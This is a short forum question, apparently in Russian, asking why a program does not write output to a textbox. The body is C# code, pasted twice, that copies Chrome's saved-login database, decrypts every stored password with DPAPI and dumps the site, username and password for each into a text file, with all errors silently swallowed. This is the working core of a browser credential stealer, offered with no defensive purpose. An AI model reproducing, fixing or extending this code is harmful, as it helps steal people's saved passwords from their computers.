Doesn't output text to textbox

В чем проблема?

try
{
string GooglePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
string PDBPath = temp + user + "\\Chrome\\Login Data.sql";

string connectionString = $"Data Source = {PDBPath}";

if (File.Exists(PDBPath))
{
File.Delete(PDBPath);
}

File.Copy(GooglePath, PDBPath);


string db_fields = "logins";
string sql = $"SELECT * FROM {db_fields}";
DataTable db = new DataTable();

string fileName = temp + user + "\\Chrome\\Password.txt";
StreamWriter sw = new StreamWriter(fileName);
byte[] entropy = null;

string description;


using (SQLiteConnection connection = new SQLiteConnection(connectionString))
{
SQLiteCommand command = new SQLiteCommand(sql, connection);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
adapter.Fill(db);
}

int rows = db.Rows.Count;

for (int i = 0; i < rows; i++)
{
string url = db.Rows[i][1].ToString();
string login = db.Rows[i][3].ToString();
byte[] byteArray = (byte[])db.Rows[i][5];
byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
string password = new UTF8Encoding(true).GetString(decrypted);
sw.WriteLine("----------------------------");
sw.WriteLine($"Log Num: {i}");
sw.WriteLine($"Site: {url}");
sw.WriteLine($"Login: {login}");
sw.WriteLine($"Pass: {password}");
}
sw.Close();
}
catch
{

}

C#

 try

            {

                string GooglePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";

                string PDBPath = temp + user + "\\Chrome\\Login Data.sql";



                string connectionString = $"Data Source = {PDBPath}";



                if (File.Exists(PDBPath))

                {

                    File.Delete(PDBPath);

                }



                File.Copy(GooglePath, PDBPath);





                string db_fields = "logins";

                string sql = $"SELECT * FROM {db_fields}";

                DataTable db = new DataTable();



                string fileName = temp + user + "\\Chrome\\Password.txt";

                StreamWriter sw = new StreamWriter(fileName);

                byte[] entropy = null;



                string description;





                using (SQLiteConnection connection = new SQLiteConnection(connectionString))

                {

                    SQLiteCommand command = new SQLiteCommand(sql, connection);

                    SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);

                    adapter.Fill(db);

                }



                int rows = db.Rows.Count;



                for (int i = 0; i < rows; i++)

                {

                    string url = db.Rows[i][1].ToString();

                    string login = db.Rows[i][3].ToString();

                    byte[] byteArray = (byte[])db.Rows[i][5];

                    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);

                    string password = new UTF8Encoding(true).GetString(decrypted);

                    sw.WriteLine("----------------------------");

                    sw.WriteLine($"Log Num: {i}");

                    sw.WriteLine($"Site: {url}");

                    sw.WriteLine($"Login: {login}");

                    sw.WriteLine($"Pass: {password}");

                }

                sw.Close();

            }

            catch

            {



            }